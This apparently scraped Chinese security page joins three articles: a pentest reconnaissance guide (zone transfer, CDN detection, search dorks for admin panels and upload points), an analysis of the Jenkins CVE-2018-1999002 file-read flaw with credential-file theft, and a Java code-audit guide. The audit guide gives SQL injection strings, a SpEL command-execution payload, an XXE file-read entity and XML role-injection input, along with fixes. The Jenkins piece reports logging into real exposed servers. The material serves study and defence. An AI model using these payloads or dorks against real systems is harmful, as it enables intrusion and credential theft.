1599268817.png!small1599268827.png!small
2、域传送漏洞
什么是DNS域传送
1、DNS（域名管理系统）万维网重要基础，建立在一个分布式数据库基础上，数据库里保存了ip地址和域名的相互映射关系。
用户在浏览器输入域名，浏览器将向DNS服务器发送查询，得到目标主机ip地址，再与对应的主机建立http链接，请求网页。
常用DNS记录
A记录 IP地址记录，记录一个域名对应的ip地址
NS记录 域名服务器记录，记录该域名由哪台域名服务器解析
PTR记录 反向记录，从ip地址到域名的一条记录
MX记录 电子邮件交换记录，记录一个邮件域名对应的ip地址
2、域传送：DNS Zone Transfe
DNS服务器分为：主服务器、备份服务器和缓存服务器。
域传送是指后备服务器从主服务器拷贝数据，并用得到的数据更新自身数据库。
在主备服务器之间同步数据库，需要使用“DNS域传送”。
探测漏洞方法
nslookup探测漏洞
输入nslookup命令进入交互式shell;
server 命令参数设定查询将要使用的DNS服务器;
ls命令列出某个域中的所有域名;
exit命令退出；
1599268855.png!small当然这里只是使用方法，我测试的网站不存在域传送漏洞，所以爆出的是这个，大家可以自己去fofa、钟馗之眼等去搜索一下，然后测试一下。
1599268877.png!small
判断网站是否存在CDN，若存在的绕过方式
什么是CDN
CDN的全称是Content Delivery
Network，即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络，依靠部署在各地的边缘服务器，通过中心平台的负载均衡、内容分发、调度等功能模块，使用户就近获取所需内容，降低网络拥塞，提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。通俗点就是一种缓存技术，提高用户上网体验，但是cdn对渗透测试者的渗透工作就有一定阻碍，所以我们要判断cdn的存在与否，和绕过cdn。
检测是否存在cdn的方法
还是利用站长之家这个网站，如下图
点击站长工具1599268901.png!small
输入网址执行ping检测1599268925.png!small原理是实现多地ping一个网址，假如ping出来的ip地址都一样那么将不存在cdn
上图是不存在cdn的情况。
下面测试一下百度
1599268983.png!small
ip地址不一样，证明是存在cdn的。
存在cdn的绕过方法
请参考如下网址
<https://www.cnblogs.com/qiudabai/p/9763739.html>
<https://www.cnblogs.com/xiaozi/p/12963549.html>
<https://blog.csdn.net/qq_36119192/article/details/89151336>
一、google hack语法
googlehack 常用语法
site 指定域名
intext 正文中存在关键字的网页
intitle 标题中存在关键字的网页
info 一些基本信息
inurl URL存在关键字的网页
filetype 搜索指定文件类型
google语法利用实例
1、site:baidu.com#收集百度子域名
1599269648.png!small
2、intitle:管理登录 #查找后台管理登陆界面
1599270628.png!small
3.filetype:php #查找php类型主页
1599270669.png!small
4、inurl:file #查找url上含file的网址寻找上传漏洞
1599271023.png!small
当让这些语法还可以一起组合使用起到更大的作用，如下
site:xx.com filetype:txt 查找TXT文件 其他的以此类推
查找后台
site:xx.com intext:管理
site:xx.com inurl:login
site:xx.com intitle:后台
查看服务器使用的程序
site:xx.com filetype:asp
site:xx.com filetype:php
site:xx.com filetype:jsp
site:xx.com filetype:aspx
查看上传漏洞
site:xx.com inurl:file
site:xx.com inurl:load
查找注射点
site:xx.com filetype:asp
二、网络组件搜索引擎
网站如shodanhq.com、zoomeye.org、www.fofa.so
这里语法以fofa为例
1、搜索页面标题中含有“后台管理”关键词的网站和IP
title="后台管理"
1599649260.png!small
2、搜索HTTP响应头中含有“flask”关键词的网站和IP
1599649270.png!small
3、搜索根域名中带有“baidu.com”的网站
1599649280.png!small
4、搜索域名中带有"login"关键词的网站
1599649288.png!small
5、搜索开放3389端口的ip
1599649297.png!small
三、github敏感信息泄露
当确定了公司后，我们可以去互联网上查询与该公司有关的任何信息。比如，公司的邮箱格式，公司的员工姓名，以及与该公司有关的任何信息。并且，我们还可以去Github、码云等代码托管平台上查找与此有关的敏感信息，有些粗心的程序员在将代码上传至代码托管平台后，并没有对代码进行脱敏处理。导致上传的代码中有包含如数据库连接信息、邮箱密码、还有可能有泄露的源代码等。
详细语法请参考一下链接
<https://www.cnblogs.com/ichunqiu/p/10149471.html>
<https://blog.csdn.net/qq_36119192/article/details/99690742>
一、判断操作服务器类型
1、利用windows于linux对大小写敏感的特性区别
Linux操作系统大小写敏感，我们将网址url一些字母修改成修改大小写看网站是否还能正常访问，能访问就是windows服务器，不能则是Linux。
例访问一个网站，如下图
1600173544.png!small这是把小写n改为N看是否还能正常访问1600173559.png!small
正常访问证明服务器是windows
2、ping测试
通过ping操作系统判断TTL返回值来判断操作系统
TTL起始值:Windows xp(及在此版本之前的windows) 128 (广域网中TTL为65-128)
Linux/Unix64(广域网中TTL为1-64)
某些Unix:255
如下图1600173578.png!small
通过TTL返回值241可以判断对方操作系统为windows
3、利用nmap工具对目标进行扫描，判断操作系统
如：nmap -O ip地址1600173593.png!small
二、网站指纹识别
在渗透测试中，对目标服务器进行指纹识别是相当有必要的，因为只有识别出相应的Web容器或者CMS，才能查找与其相关的漏洞，然后才能进行相应的渗透操作。这是我们想要识别这些网站的指纹，我们就可以利用以下一些指纹识别在线网站。
云悉指纹：<http://www.yunsee.cn/finger.html>
ThreatScan：<https://scan.top15.cn/web/>
WhatWeb：<https://whatweb.net/>
BugScaner：<http://whatweb.bugscaner.com/look/1600173613.png!small>
三、网站容器、脚本类型
可以利用ThreatScan：<https://scan.top15.cn/web/这个网站获取1600173630.png!small或者利用wappalyzer插件1600173646.png!small>
四、敏感文件、目录信息
由于发布网站时，服务器配置问题，导致目录浏览功能打开，从而引起信息泄露，造成安全隐患。在信息收集过程中，需要收集的敏感目录/文件信息包括：
1.robots.txt
2.crossdomin.xml
3.sitemap.xml
4.后台目录
5.网站安装包
6.网站上传目录
7.mysql管理页面
8.phpinfo
9.网站文本编辑器
10.测试文件
11.网站备份文件(.rar、zip、.7z、.tar.gz、.bak)
12.DS_Store 文件
13.vim编辑器备份文件(.swp)
14.WEB—INF/web.xml文件
这个时候我们可以利用一些工具对目标网站进行爬行，爬取网站目录
这里用burpsuite的spider模块进行爬取网站目录演示
首先访问一个网站1600173662.png!small任意点击抓包1600173674.png!small1600173683.png!small爬行中1600173696.png!small爬行后再target模块中查看网站目录1600173713.png!small
五、端口收集
利用nmap工具扫描1600173725.png!small
六、社会工程学
利用一些社工库等等 | 社区文章 |
# Jenkins 任意文件读取漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、漏洞背景
漏洞编号：CVE-2018-1999002
漏洞等级：高危
Jenkins 7 月 18 日的安全通告修复了多个漏洞，其中 SECURITY-914 是由 Orange
（博客链接：<http://blog.orange.tw/> ） 挖出的 Jenkins 未授权任意文件读取漏洞。
腾讯安全云鼎实验室安全研究人员对该漏洞进行分析发现，利用这个漏洞，攻击者可以读取 Windows 服务器上的任意文件，对于
Linux，在特定条件下也可以进行文件读取。利用文件读取漏洞，攻击者可以获取到 Jenkins
的凭证信息，从而造成敏感信息泄露。另外，在很多时候，Jenkins 的部分凭证和其内用户的帐号密码相同，获取到凭证信息后也可以直接登录 Jenkins
进行命令执行操作等。
## 二、漏洞分析
Jenkins 在处理请求的时候是通过 Stapler 进行处理的，Stapler 是一个 Java Web 框架。查看 web.xml
可知，Stapler 拦截了所有请求：
单步跟入 hudson.util.PluginServletFilter，最后会跟到
jenkinscoresrcmainjavahudsonPlugin.java 的 doDynamic 方法：
可以发现，Jenkins 在 serve /plugin/SHORTNAME 这个 URL 的时候，调用的是 StaplerResponse 的
serveLocalizedFile 方法处理静态文件的，继续跟入这个方法：
其中 request.getLocale() 是 jetty-server-9.4.5.v20170502-sources.jar!orgeclipsejettyserverRequest.java 内的，其实现为：
非常明显，Jetty 在获取 Locale 的时候直接从 HTTP Headers 里取出 Accept-Language 头，用 – 分割后返回了一个
Locale 对象。也就是我传入Accept-Language: ../../../aaaa-bbbbbb 时，那么我将会得到一个
Locale(“../../../aaaa”, “BBBBBB”)对象。
最后到跟入 stapler-1.254-sources.jar!orgkohsukestaplerStapler.java：
我们可以发现，Stapler 首先将后缀名单独取出，接着将 Jenkins 目录和传入的 locale 的 language
以及后缀名拼接，然后打开这个路径。那么攻击者只需要构造出如下 HTTP 请求即可造成文件读取：
最后 URL 拼接的现场为：
在 Windows 下，不存在的目录可以通过 ../ 遍历过去的，而对于 Linux 则不行。那么这个漏洞在 Windows 下是可以任意文件读取的，而在
Linux 下则需要在 Jenkins plugins 目录下存在一个名字中存在 _ 的目录才可以。
## 三、利用方式
一般来说，文件读取漏洞很难转化为命令执行，对于 Jenkins 也是如此。不过 Jenkins 有一个 Credentials 模块，这个模块储存了
Jenkins 的一些凭证信息，很多时候，其凭证的帐号密码是和 Jenkins
的帐号密码相同的。无论如何，在成功利用文件读取漏洞后，都要将凭证信息读取并解密，以收集更多的信息。
如果我们想获取 Jenkins 的凭证信息的话，需要以下几个文件：
· credentials.xml
· secrets/hudson.util.Secret
· secrets/master.key
很幸运的是这几个文件我们都可以利用文件读取漏洞读取出来。在 Shodan 上尝试获取国外 real world 的 Jenkins 的帐号密码：
当然，获取到的帐号密码是不能直接登录的，但是稍微修改一下用户名就可以成功的登录进去了：
## 四、修复方案
虽然这个漏洞危害较大，但是不必太过担心，因为默认安装 Jenkins 的时候匿名用户是没有可读权限的。并且此漏洞在 Linux
上被利用的可能性较小。以下为推荐的修复方案：
➢针对此高危漏洞利用，腾讯云网站管家 WAF AI 引擎可检测并拦截，如果需要，可在腾讯云官网进一步了解
➢在全局安全配置中将匿名用户的可读权限去掉
➢升级到最新版本的 Jenkins（2.121.2）
➢使用 Linux | 社区文章 |
## java编译篇
java编译过程：
**Java源代码** ——（编译）——> **Java字节码** ——（解释器）——> **机器码**
**Java源代码** ——（编译器 ）——> **jvm可执行的Java字节码** ——（jvm解释器） ——> **机器可执行的二进制机器码** ——>
**程序运行**
**采用字节码的好处：** 高效、可移植性高
以下示例为.java文件：
以下是.class文件：
## 反编译工具篇
* fernflower
* jad
* jd-gui
* idea自带插件
jar包本质上是将所有class文件、资源文件压缩打成一个包。
## Servlet与jsp篇
**Servlet：**
* 类似小程序，处理较复杂的服务端业务逻辑
* 含有HttpServlet类，可进行重写
* servlet3.0后使用注解方式描述servlet，使用doGet和doPost为默认命名
* servlet3.0版本之前必须在web.xml中配置
**jsp：**
会被编译成一个`java类文件`，如index.jsp在Tomcat中Jasper编译后会生成`index_jsp.java`和`index_jsp.class`两个文件。是特殊的servlet。
## 全局控制器篇
使用idea，全局搜索command+shift+f（或者a）
find ~/cms/ -type f -name "*.class" |xargs grep -E "Controller|@RestController|RepositoryRestController"
find ~/cms/ -type f -name "*.class" |xargs grep -E "RequestMapping|GetMapping|PostMapping|PutMapping|DeleteMapping|PatchMapping|RepositoryRestResource"
## 全局过滤器篇
审计时，得先看是否含有全局过滤器。切勿看到`Servlet`、`JSP`中的漏洞点就妄下定论，`Servlet`前面很有可能存在一个全局安全过滤的`Filter`。当然每种框架的写法也有差别。个人认为Filter主要是用在
1. web.xml全局过滤
<filter>
<filter-name>YytSecurityUrlFilter</filter-name>
<filter-class>com.yytcloud.core.spring.pub.filter.YytSecurityUrlFilter</filter-class>
<async-supported>true</async-supported>
<init-param>
<param-name>sqlInjIgnoreUrls</param-name>
<param-value>.*/itf/.*</param-value>
</init-param>
<init-param>
<param-name>ignoreXSSUrls</param-name>
<param-value>.*/itf/.*</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>YytSecurityUrlFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
2. jar包
首先添加一个 jar 包:commons-lang-2.5.jar ，然后在后台调用这些函数:
StringEscapeUtils.escapeHtml(string);
StringEscapeUtils.escapeJavaScript(string);
StringEscapeUtils.escapeSql(string);
3. 转义
String string = HtmlUtils.htmlEscape(userinput); //转义
String s2 = HtmlUtils.htmlUnescape(string); //转成原来的
## 常见漏洞篇
分为`业务安全`问题、`代码实现`和`服务架构`安全问题
**代码实现，查看对应代码与全局过滤器：**
1. 任意`文件读写`(文件上传、文件下载)、`文件遍历`、`文件删除`、`文件重命名`等漏洞
2. SQL注入漏洞
3. XXE(XML实体注入攻击)
4. 表达式执行(SpEL、OGNL、MVEL2、EL等)
5. 系统命令执行漏洞(ProcessBuilder)
6. 反序列化攻击(ObjectInputStream、JSON、XML等)
7. Java反射攻击
8. SSRF攻击
9. XSS
**业务安全，主要理解该系统的逻辑：**
1. 用户登陆、用户注册、找回密码等功能中密码信息未采用加密算法。
2. 用户登陆、用户注册、找回密码等功能中`未采用验证码`或`验证码未做安全刷新`(未刷新Session中验证码的值)导致的撞库、密码爆破漏洞。
3. 找回密码逻辑问题(如:可直接跳过验证逻辑直接发包修改)。
4. 手机、邮箱验证、找回密码等涉及到动态验证码`未限制验证码失败次数`、`验证码有效期`、`验证码长度过短`导致的验证码爆破问题。
5. 充值、付款等功能调用了第三方支付系统未正确校验接口(与第三方的交互、与客户的交互，主要查看逻辑问题)。
6. 后端采用了`ORM框架`更新操作时因处理不当导致可以更新用户表任意字段(如:用户注册、用户个人资料修改时可以`直接创建管理员账号`或其他越权修改操作)。
7. 后端采用了`ORM框架`查询数据时因处理不当导致可以接收任何参数导致的越权查询、敏感信息查询等安全问题。
8. 用户中心转账、修改个人资料、密码、退出登陆等功能未采用验证码或`Token机制`导致存在`CSRF漏洞`。
9. 后端服务过于信任前端，重要的参数和业务逻辑只做了前端验证(如:文件上传功能的文件类型只在JS中验证、后端不从Session中获取用户ID、用户名而是直接接收客户端请求的参数导致的`越权问题`)。
10. 用户身份信息认证逻辑问题(如:后台系统自动登陆时直接读取Cookie中的用户名、用户权限不做验证)。
11. 重要接口采用`ID自增、ID可预测并且云端未验证参数有效性`导致的越权访问、信息泄漏问题(如:任意用户订单越权访问)。
12. `条件竞争问题`，某些关键业务(如:用户转账)不支持并发、分布式部署时不支持锁的操作等。
13. 重要接口`未限制请求频率`，导致短信、邮件、电话、私信等信息轰炸。
14. 敏感信息未保护，如`Cookie中直接存储用户密码等重要信息`，跟踪cookie中的变量最终到了哪。
15. 弱加密算法、弱密钥，如勿把Base64当成数据加密方式、重要算法密钥采用弱口令如`123456`。
16. 后端无异常处理机制、未自定义50X错误页面,服务器异常导致敏感信息泄漏(如:数据库信息、网站绝对路径等)。
17. 使用`DWR框架`开发时前后端不分漏洞(如:DWR直接调用数据库信息把用户登陆逻辑直接放到了前端来做)。
## SQL注入篇
1. **直接拼接，未进行过滤**
将`request.getParameter("")`直接放在SQL语句。
全局搜索查看：`String sql`等。
2. **预编译使用有误**
* 在使用占位符后未进行 **setObject** 或者 **setInt** 或者 **setString** 。
* 有些会使用 **SQLparameter** 函数，参数化查询SQL，能有效避免SQL注入。
* 使用 **setProperties** 函数。
`占位符`这种在渗透中出现的情况是：当输入1' or '1'='1，不会有什么回显。
因为这个引号已经无法起到闭合作用了，只相当于是一个字符，由于对特殊符号的转义。
如图所知，在setString那个函数那里对引号等一些特殊符号做了转义。
// 执行查询
System.out.println(" 实例化Statement对象...");
PreparedStatement st=conn.prepareStatement("select * from " +
"springmysql1 where name=?");
st.setString(1,request.getParameter("name"));
ResultSet rs=st.executeQuery();
1. **%和_**
没有手动过滤%。预编译是不能处理这个符号的， 所以需要手动过滤，否则会造成慢查询，造成 dos。
2. **Order by、from等无法预编译**
如以下示例，需要手动过滤，否则存在sql注入。
`String sql = "Select * from news where title =?" + "order by '" + time + "'
asc"`
3. **Mybatis 框架**
使用注解或者xml将java对象与数据库sql操作对应。
在注解中或者 Mybatis 相关的配置文件中搜索 $ 。然后查看相关 sql 语句上下文环境。
**mybatis简单示例**
* mybatis的maven配置
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.2</version>
</dependency>
* 目录结构
java文件
配置文件
* 各文件功能(左下角是我的水印哈哈哈)
* config.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
<environments default="dev">
<environment id="dev">
<transactionManager type="JDBC"/>
<dataSource type="POOLED">
<property name="driver" value="com.mysql.cj.jdbc.Driver"/>
<property name="url"
value="jdbc:mysql://localhost:3306/mybatistest"/>
<property name="username" value="root"/>
<property name="password" value="root"/>
</dataSource>
</environment>
</environments>
<mappers>
<mapper resource="UserMapper.xml"/>
</mappers>
</configuration>
* UserMapper.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="org.UserMapper">
<select id="getUser" resultType="org.User1">
select * from user where name=#{name}
</select>
</mapper>
* UserMapper.java
package org;
public interface UserMapper{
public User1 getUser(String name);
}
* MybatisUtil.java
package org;
import org.apache.ibatis.io.Resources;
import org.apache.ibatis.session.SqlSession;
import org.apache.ibatis.session.SqlSessionFactory;
import org.apache.ibatis.session.SqlSessionFactoryBuilder;
import java.io.Reader;
public class MybatisUtil{
public static SqlSessionFactory sessionFactory;
static{
try{
Reader reader = Resources.getResourceAsReader("config.xml");
sessionFactory = new SqlSessionFactoryBuilder().build(reader);
}
catch (Exception e){
System.out.println(e);
}
}
public static SqlSession getSession(){
return sessionFactory.openSession();
}
}
* User1.java
package org;
import lombok.Data;
@Data
public class User1 {
String name;
int age;
}
* test.java
package org;
import org.apache.ibatis.session.SqlSession;
import org.apache.ibatis.session.SqlSessionFactory;
import org.apache.ibatis.session.SqlSessionFactoryBuilder;
import java.io.InputStream;
import org.junit.Test;
public class test {
@Test
public void test1() {
SqlSession session=MybatisUtil.getSession();
UserMapper userMapper=session.getMapper(UserMapper.class);
User1 user1=userMapper.getUser("wy");
System.out.println(user1.getAge());
}
}
* 在UserMapper.xml使用`#{}`的结果
* 在UserMapper.xml使用`${}`的结果
使用该符号需要手动写上引号拼接，不然会报错，`User1 user1=userMapper.getUser("'"+"wy' or
'1'='1"+"'");`
* 容易触发sql注入的条件与修复
* 模糊查询，需要加入特殊符号，不单单加入引号的那种。如`like '%${xxx}%'`，修复自然是将xxx拎出来，比如使用concat函数。
* 无需加引号处。比如`in(${xxx})`或者`order by ${xxx}`。修复是用户自行过滤。
4. `:=`和和此处的`${ids}`可防止SQL注入
@Arguments("id")
@Sql("select count(1) from cgform_head where physice_id=:id ")
public int getByphysiceId(String id);
@Arguments("ids")
@Sql("select count(1) as hasPeizhi,physice_id id from cgform_head where 1=1 and physice_id in (${ids}) group by physice_id")
public List<Map<String, Object>> getPeizhiCountByIds(String ids);
像字符型SQL语句的渗透利用在现实中无非三种，可能还需试一下时间盲注等等，视情况而定：
* 1') or 1=1 or ('1（括号那里可能会有1至多个）
* 1%' or '%'='
* 1' or '1'='1
## SPel注入篇
**简单描述：**
使用el表达式且el表达式可控。如[CVE-2018-1260](https://github.com/Cryin/Paper/blob/master/CVE-2018-1260
spring-security-oauth2 RCE Analysis.md)就是spring-security-oauth2的一个SPel注入导致的RCE。
**示例：**
String el="T(java.lang.Runtime).getRuntime().exec(\"open /tmp\")";
ExpressionParser PARSER = new SpelExpressionParser();
Expression exp = PARSER.parseExpression(el);
System.out.println(exp.getValue());
在getValue那里执行命令，调用栈如下
**审计：**
查看使用SpelExpressionParser的地方有没有用户可控的。
## XSS篇
**示例**
@RequestMapping("/xss")
public ModelAndView xss(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException{
String name = request.getParameter("name");
ModelAndView mav = new ModelAndView("mmc");
mav.getModel().put("uname", name);
return mav;
}
如果想要返回json格式，将`mmc`替换为`new MappingJackson2JsonView()`。
## SSRF篇
代码中提供了从其他服务器应用获取数据的功能但没有对目标地址做过滤与限制。比如从指定URL链接获取图片、下载等。主要可能存在于在线文档编辑器之类。
**示例**
String url = request.getParameter("picurl");
StringBuffer response = new StringBuffer();
URL pic = new URL(url);
HttpURLConnection con = (HttpURLConnection) pic.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", "Mozilla/5.0");
BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();
return response.toString();
**审计**
支持的协议
* file
* ftp
* http
* https
* jar
* mailto
* netdoc
常用的函数
HttpClient.execute
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL.openStream
**修复**
* 使用白名单校验HTTP请求url地址
* 避免将请求响应及错误信息返回给用户
* 禁用不需要的协议及限制请求端口,仅仅允许http和https请求等（这点待研究）
## CSRF篇
**简单描述：**
跨站请求伪造是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果，所以CSRF攻击主要用来`执行动作`，而非窃取用户数据。当受害者是一个普通用户时，CSRF可以实现在其不知情的情况下`转移用户资金、发送邮件`等操作；但是如果受害者是一个具有`管理员权限的用户`时CSRF则可能威胁到整个Web系统的安全。
**审计：**
一些增删改查方法，是否进行`Referer头检验`、`token检验` `无法构造的随机数参数`、`验证码密码`。
搜索`session["token"]`
**修护：**
Referer头检验、token检验。
## XXE篇
**简单描述：**
当`允许引用外部实体且存在输入点`时，恶意攻击者即可构造恶意内容访问服务器资源,如读取 passwd 文件
<https://www.cnblogs.com/r00tuser/p/7255939.html>
**示例：**
@RequestMapping("/xxetest")
public String xxetest(HttpServletRequest request) throws DocumentException {
String xmldata = request.getParameter("data");
SAXReader sax=new SAXReader();
Document document=sax.read(new ByteArrayInputStream(xmldata.getBytes()));
Element root= ((org.dom4j.Document) document).getRootElement();
List rowList = root.selectNodes("//msg");
Iterator<?> iter1 = rowList.iterator();
if (iter1.hasNext()) {
Element beanNode = (Element) iter1.next();
return beanNode.getTextTrim();
}
return "error";
}
`root.selectNodes("//msg")`获取根目录下的所有<msg>标签</msg>
**利用：**
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [
<!ENTITY test SYSTEM "file:///tmp/flag">]>
<msg>&test;</msg>
渗透的话可以结合burpsuite的插件：collaborator
<https://blog.csdn.net/fageweiketang/article/details/89073662>
**审计：**
1. 判断使用哪种XML解析器
2. 搜索是否有禁用外部实体配置（修护部分有具体代码）
3. 是否有外部输入点进行解析
**修护：**
1. saxReader
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1. saxBuilder
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Document doc = builder.build(new File(fileName));
1. saxTransformerFactory
SAXTransformerFactory sf = SAXTransformerFactory.newInstance(); sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
sf.newXMLFilter(Source);
Note: Use of the following XMLConstants requires JAXP 1.5, which was added to Java in 7u40 and Java 8:
javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD
javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET
1. schemaFactory
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
Schema schema = factory.newSchema(Source);
1. xmlInputFactory
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities
1. xmlReader
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); // This may not be strictly required as DTDs shouldn't be allowed at all, per previous line.
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1. XPathExpression
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
DocumentBuilder builder = df.newDocumentBuilder();
String result = new XPathExpression().evaluate( builder.parse(new ByteArrayInputStream(xml.getBytes())) );
1. transformerFactory
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
1. Validator
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
1. Unmarshaller
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(new StringReader(xml)));
JAXBContext jc = JAXBContext.newInstance(Object.class);
Unmarshaller um = jc.createUnmarshaller();
um.unmarshal(xmlSource);
## XML篇
**简单描述：**
一个用户，如果他被允许输入结构化的XML片段，则他可以在 XML 的数据域中`注入 XML 标签`来改写目标 XML 文档的结构与内容。
**示例：**
private void createXMLStream(BufferedOutputStream outStream, User user) throws IOException
{
String xmlString;
xmlString = "<user><role>operator</role><id>" + user.getUserId()
+"</id><description>" + user.getDescription() +
"</description></user>";
outStream.write(xmlString.getBytes());
outStream.flush();
}
输入以下恶意代码
hhh</id><role>administrator</role><id>hhh
由于 SAX 解析器(`org.xml.sax and javax.xml.parsers.SAXParser`)在解释 XML 文档时会将`第二个role
域的值覆盖前一个 role 域的值`，因此导致此用户角色由操作员提升为了管理员。
**审计方法：**
全局搜索如下字符串
* xml
* StreamSource
* XMLConstants
* StringReader
* **xmlString**
在项目中搜索. Xsd 文件
**修护：**
1. 白名单。只能包含`字母、数字、下划线`。
private void createXMLStream(BufferedOutputStream outStream, User user) throws IOException
{
if (!Pattern.matches("[_a-bA-B0-9]+", user.getUserId()))
{
...
}
if (!Pattern.matches("[_a-bA-B0-9]+", user.getDescription()))
{
...
}
String xmlString = "<user><id>" + user.getUserId()
\+ "</id><role>operator</role><description>"
\+ user.getDescription() + "</description></user>";
outStream.write(xmlString.getBytes());
outStream.flush();
}
1. 使用 `dom4j`来构建 XML。
dom4j 是一个良好定义的、开源的 XML 工具库。Dom4j将会`对文本数据域进行 XML 编码`，从而使得 XML 的原始结构和格式免受破坏。
public static void buidlXML(FileWriter writer, User user) throws IOException
{
Document userDoc = DocumentHelper.createDocument();
Element userElem = userDoc.addElement("user");
Element idElem = userElem.addElement("id");
idElem.setText(user.getUserId());
Element roleElem = userElem.addElement("role");
roleElem.setText("operator");
Element descrElem = userElem.addElement("description");
descrElem.setText(user.getDescription());
XMLWriter output = null;
try{
OutputFormat format = OutputFormat.createPrettyPrint();
format.setEncoding("UTF-8");
output = new XMLWriter(writer, format);
output.write(userDoc);
output.flush();
}
finally{
try{
output.close();
}
catch (Exception e){}
}
}
## 越权篇
水平越权和垂直越权。
**审计：**
在每个`request.getParameter("userid");`之后查看是否有检验当前用户与要进行增删改查的用户。
**修护：**
获取当前登陆用户并校验该用户是否具有当前操作权限，并校验请求操作数据是否属于当前登陆用户，当前登陆用户标识不能从用户可控的请求参数中获取。
## 批量请求篇
**简单描述：**
在部分接口，没有进行验证码等防护，导致可以无限制重发接口，结果是浪费了系统资源的才算。比如一直发短信验证码，但是可以不断查询就不算批量请求漏洞。批量请求与csrf的修护建议类似，但由于使用场景不同，因此漏洞不同。
**修护：**
* 验证码
* token
* 对同一个用户发起这类请求的频率、每小时及每天发送量在服务端做限制，不可在前端实现限制
* 对参数使用不可预测的随机数
## 命令执行篇
**简单描述：**
执行的命令用户可控。
**示例：**
String cmd=request.getParameter("cmd");
Runtime.getRuntime.exec(cmd);
**审计：**
查找是否有使用如下方法，且其中的内容用户可控。
Runtime.exec
ProcessBuilder.start
GroovyShell.evaluate
## 反序列化-代码执行篇
**简单描述：**
Java 程序使用 ObjectInputStream 对象的`readObject`方法将反序列化数据转换为 java
对象。但当输入的反序列化的数据可`被用户控制`，那么攻击者即可通过构造恶意输入，让反序列化产生非预期的对象，在此过程中`执行构造的任意代码`。
**示例：**
//读取输入流,并转换对象
InputStream in=request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in); //恢复对象
ois.readObject();
ois.close();
**审计：**
java 序列化的数据一般会以标记(`ac ed 00 05`)开头，base64 编码后的特征为`rO0AB`。
找出反序列化函数调用点：
* ObjectInputStream.readObject
* ObjectInputStream.readUnshared
* XMLDecoder.readObject
* Yaml.load
* XStream.fromXML
* ObjectMapper.readValue
* JSON.parseObject
RMI:是 Java 的一组拥护开发分布式应用程序的 API，实现了不同操作系统之间程序的方法调用。RMI 的传输 100%基于反序列化，Java RMI
的默认端口是 1099 端口。
**修护：**
[修护方案参考链接](https://xz.aliyun.com/t/41/)
1. 白名单。只允许某些类被反序列化。
以下例子通过重写ObjectInputSream中的resolveClass方法，读取需要反序列化的类名与SerialObject.class对比，判断是否合法。SerialKiller就是利用这种原理而写的jar包。
2. /**只允许反序列化 SerialObject class */
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(SerialObject.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
